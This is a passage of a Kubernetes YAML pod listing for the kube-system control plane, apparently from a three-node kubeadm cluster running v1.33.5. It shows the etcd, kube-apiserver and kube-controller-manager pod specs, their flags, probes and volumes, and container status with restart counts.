          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:06Z"
      name: etcd
      ready: true
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      restartCount: 7
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:26Z"
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: Burstable
    startTime: "2025-11-29T14:24:24Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint: 172.16.30.16:6443
      kubernetes.io/config.hash: 8381f4df6869d6f15511c15c6cde5967
      kubernetes.io/config.mirror: 8381f4df6869d6f15511c15c6cde5967
      kubernetes.io/config.seen: "2025-11-04T02:22:02.316350573+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-04T01:22:12Z"
    generation: 1
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-1
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "18007524"
    uid: 20328388-9f2f-45ad-8628-9f3e58b6cb08
  spec:
    containers:
    - command:
      - kube-apiserver
      - --audit-policy-file=/etc/kubernetes/audit-policy.yaml
      - --audit-log-path=/var/log/kubernetes/audit/audit.log
      - --audit-log-maxage=7
      - --audit-log-maxbackup=10
      - --audit-log-maxsize=200
      - --v=4
      - --advertise-address=172.16.30.16
      - --allow-privileged=true
      - --authorization-mode=Node,RBAC
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --enable-admission-plugins=NodeRestriction
      - --enable-bootstrap-token-auth=true
      - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
      - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
      - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
      - --etcd-servers=https://127.0.0.1:2379
      - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
      - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
      - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
      - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
      - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
      - --requestheader-allowed-names=front-proxy-client
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --requestheader-extra-headers-prefix=X-Remote-Extra-
      - --requestheader-group-headers=X-Remote-Group
      - --requestheader-username-headers=X-Remote-User
      - --secure-port=6443
      - --service-account-issuer=https://kubernetes.default.svc.cluster.local
      - --service-account-key-file=/etc/kubernetes/pki/sa.pub
      - --service-account-signing-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
      - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 172.16.30.16
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-apiserver
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 172.16.30.16
          path: /readyz
          port: 6443
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 250m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 172.16.30.16
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
      - mountPath: /etc/kubernetes/audit-policy.yaml
        name: audit
        readOnly: true
      - mountPath: /var/log/kubernetes/audit/
        name: audit-log
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
    - hostPath:
        path: /etc/kubernetes/audit-policy.yaml
        type: File
      name: audit
    - hostPath:
        path: /var/log/kubernetes/audit/
        type: DirectoryOrCreate
      name: audit-log
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:53Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:07Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:07Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://1725762520d9fd8a5e4827d11529e12e507239625c2acdd86183bc3ae0324b9c
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imageID: registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      lastState:
        terminated:
          containerID: containerd://1aeed9cac36736c9274514d3ace396220f17037f5e588f069bd82b18e23aa7df
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:11Z"
      name: kube-apiserver
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:12:53Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: Burstable
    startTime: "2025-11-29T11:12:52Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint: 172.16.30.17:6443
      kubernetes.io/config.hash: 9dbf4e754136db81732d60f007c0ef98
      kubernetes.io/config.mirror: 9dbf4e754136db81732d60f007c0ef98
      kubernetes.io/config.seen: "2025-11-03T15:05:45.424622319+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-25T15:21:57Z"
    generation: 1
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-2
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "18033336"
    uid: c5f155f3-879f-40d6-b428-242c3c7f8c4f
  spec:
    containers:
    - command:
      - kube-apiserver
      - --advertise-address=172.16.30.17
      - --allow-privileged=true
      - --authorization-mode=Node,RBAC
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --enable-admission-plugins=NodeRestriction
      - --enable-bootstrap-token-auth=true
      - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
      - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
      - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
      - --etcd-servers=https://127.0.0.1:2379
      - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
      - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
      - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
      - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
      - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
      - --requestheader-allowed-names=front-proxy-client
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --requestheader-extra-headers-prefix=X-Remote-Extra-
      - --requestheader-group-headers=X-Remote-Group
      - --requestheader-username-headers=X-Remote-User
      - --secure-port=6443
      - --service-account-issuer=https://kubernetes.default.svc.cluster.local
      - --service-account-key-file=/etc/kubernetes/pki/sa.pub
      - --service-account-signing-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
      - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 172.16.30.17
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-apiserver
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 172.16.30.17
          path: /readyz
          port: 6443
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 250m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 172.16.30.17
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:21Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:41Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:41Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://fee482f681ad30254da87a32b09ac655c67ad60b51bc587ed6466f1e3eddcf0b
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imageID: registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      lastState:
        terminated:
          containerID: containerd://596290eab33405fc69c0a180667fb13a530733d58f069124a52dc7419c809e53
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:05Z"
      name: kube-apiserver
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 10
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:20Z"
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: Burstable
    startTime: "2025-11-29T13:23:19Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint: 172.16.30.18:6443
      kubernetes.io/config.hash: 74cc89f3573abde9ee66abd855eff65b
      kubernetes.io/config.mirror: 74cc89f3573abde9ee66abd855eff65b
      kubernetes.io/config.seen: "2025-11-03T15:05:43.890875061+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-25T15:21:54Z"
    generation: 1
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-3
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "18046047"
    uid: 17ec58c8-00e7-4bd5-972a-7de0edb847bf
  spec:
    containers:
    - command:
      - kube-apiserver
      - --advertise-address=172.16.30.18
      - --allow-privileged=true
      - --authorization-mode=Node,RBAC
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --enable-admission-plugins=NodeRestriction
      - --enable-bootstrap-token-auth=true
      - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
      - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
      - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
      - --etcd-servers=https://127.0.0.1:2379
      - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
      - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
      - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
      - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
      - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
      - --requestheader-allowed-names=front-proxy-client
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --requestheader-extra-headers-prefix=X-Remote-Extra-
      - --requestheader-group-headers=X-Remote-Group
      - --requestheader-username-headers=X-Remote-User
      - --secure-port=6443
      - --service-account-issuer=https://kubernetes.default.svc.cluster.local
      - --service-account-key-file=/etc/kubernetes/pki/sa.pub
      - --service-account-signing-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
      - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 172.16.30.18
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-apiserver
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 172.16.30.18
          path: /readyz
          port: 6443
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 250m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 172.16.30.18
          path: /livez
          port: 6443
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:26Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:51Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:51Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://9bc94996232982dce89929dd84541006fd0e25a202f96909eba4f105e1457df4
      image: registry.k8s.io/kube-apiserver:v1.33.5
      imageID: registry.k8s.io/kube-apiserver@sha256:1b9c6c00bc1fe86860e72efb8e4148f9e436a132eba4ca636ca4f48d61d6dfb4
      lastState:
        terminated:
          containerID: containerd://bce41bac257066b9c5c51fbbceead03e00c9b5303520b8547da35cc482e39b5d
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:06Z"
      name: kube-apiserver
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 12
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:26Z"
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: Burstable
    startTime: "2025-11-29T14:24:24Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: 52c0497967723164044d1ee361232f3c
      kubernetes.io/config.mirror: 52c0497967723164044d1ee361232f3c
      kubernetes.io/config.seen: "2025-11-03T15:05:41.923171789+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-25T15:23:39Z"
    generation: 1
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-1
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "18007624"
    uid: 4923d80e-f9eb-49a3-aa18-6f46dd62d723
  spec:
    containers:
    - command:
      - kube-controller-manager
      - --allocate-node-cidrs=true
      - --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --bind-address=127.0.0.1
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --cluster-cidr=192.168.0.0/16
      - --cluster-name=kubernetes
      - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt
      - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key
      - --controllers=*,bootstrapsigner,tokencleaner
      - --kubeconfig=/etc/kubernetes/controller-manager.conf
      - --leader-elect=true
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --root-ca-file=/etc/kubernetes/pki/ca.crt
      - --service-account-private-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --use-service-account-credentials=true
      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-controller-manager
      resources:
        requests:
          cpu: 200m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        name: flexvolume-dir
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /etc/kubernetes/controller-manager.conf
        name: kubeconfig
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        type: DirectoryOrCreate
      name: flexvolume-dir
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /etc/kubernetes/controller-manager.conf
        type: FileOrCreate
      name: kubeconfig
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:53Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:11Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:11Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 200m
      containerID: containerd://b08f6eef5d6dbb853a67d3041c53a80a1e6338013dc711821708699c9a1495d0
      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imageID: registry.k8s.io/kube-controller-manager@sha256:1082a6ab67fb46397314dd36b36cb197ba4a4c5365033e9ad22bc7edaaaabd5c
      lastState:
        terminated:
          containerID: containerd://64796daefc1a81caacd691999240f9d6772eb69b19a41dab5526fe22ccd9a063
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:11Z"
      name: kube-controller-manager
      ready: true
      resources:
        requests:
          cpu: 200m
      restartCount: 13
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:12:53Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: Burstable
    startTime: "2025-11-29T11:12:52Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/config.hash: 08f3b3230fce601f46341913873fd7c6
      kubernetes.io/config.mirror: 08f3b3230fce601f46341913873fd7c6
      kubernetes.io/config.seen: "2025-09-21T13:16:09.931377166+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:16:30Z"
    generation: 1
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-2
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "18033271"
    uid: 48921154-f481-487a-a380-80b5e14538df
  spec:
    containers:
    - command:
      - kube-controller-manager
      - --allocate-node-cidrs=true
      - --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf
      - --bind-address=127.0.0.1
      - --client-ca-file=/etc/kubernetes/pki/ca.crt
      - --cluster-cidr=192.168.0.0/16
      - --cluster-name=kubernetes
      - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt
      - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key
      - --controllers=*,bootstrapsigner,tokencleaner
      - --kubeconfig=/etc/kubernetes/controller-manager.conf
      - --leader-elect=true
      - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
      - --root-ca-file=/etc/kubernetes/pki/ca.crt
      - --service-account-private-key-file=/etc/kubernetes/pki/sa.key
      - --service-cluster-ip-range=10.96.0.0/12
      - --use-service-account-credentials=true
      image: registry.k8s.io/kube-controller-manager:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-controller-manager
      resources:
        requests:
          cpu: 200m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /healthz
          port: 10257
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ssl/certs
        name: ca-certs
        readOnly: true
      - mountPath: /etc/ca-certificates
        name: etc-ca-certificates
        readOnly: true
      - mountPath: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        name: flexvolume-dir
      - mountPath: /etc/kubernetes/pki
        name: k8s-certs
        readOnly: true
      - mountPath: /etc/kubernetes/controller-manager.conf
        name: kubeconfig
        readOnly: true
      - mountPath: /usr/local/share/ca-certificates
        name: usr-local-share-ca-certificates
        readOnly: true
      - mountPath: /usr/share/ca-certificates
        name: usr-share-ca-certificates
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/ssl/certs
        type: DirectoryOrCreate
      name: ca-certs
    - hostPath:
        path: /etc/ca-certificates
        type: DirectoryOrCreate
      name: etc-ca-certificates
    - hostPath:
        path: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
        type: DirectoryOrCreate
      name: flexvolume-dir
    - hostPath:
        path: /etc/kubernetes/pki
        type: DirectoryOrCreate
      name: k8s-certs
    - hostPath:
        path: /etc/kubernetes/controller-manager.conf
        type: FileOrCreate
      name: kubeconfig
    - hostPath:
        path: /usr/local/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-local-share-ca-certificates
    - hostPath:
        path: /usr/share/ca-certificates
        type: DirectoryOrCreate
      name: usr-share-ca-certificates
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:21Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:37Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:37Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:19Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 200m
      containerID: containerd://30c4c58d6543440df5510bfe681dfd6c2ecf83c6ea84a617c40a9665511b5b38
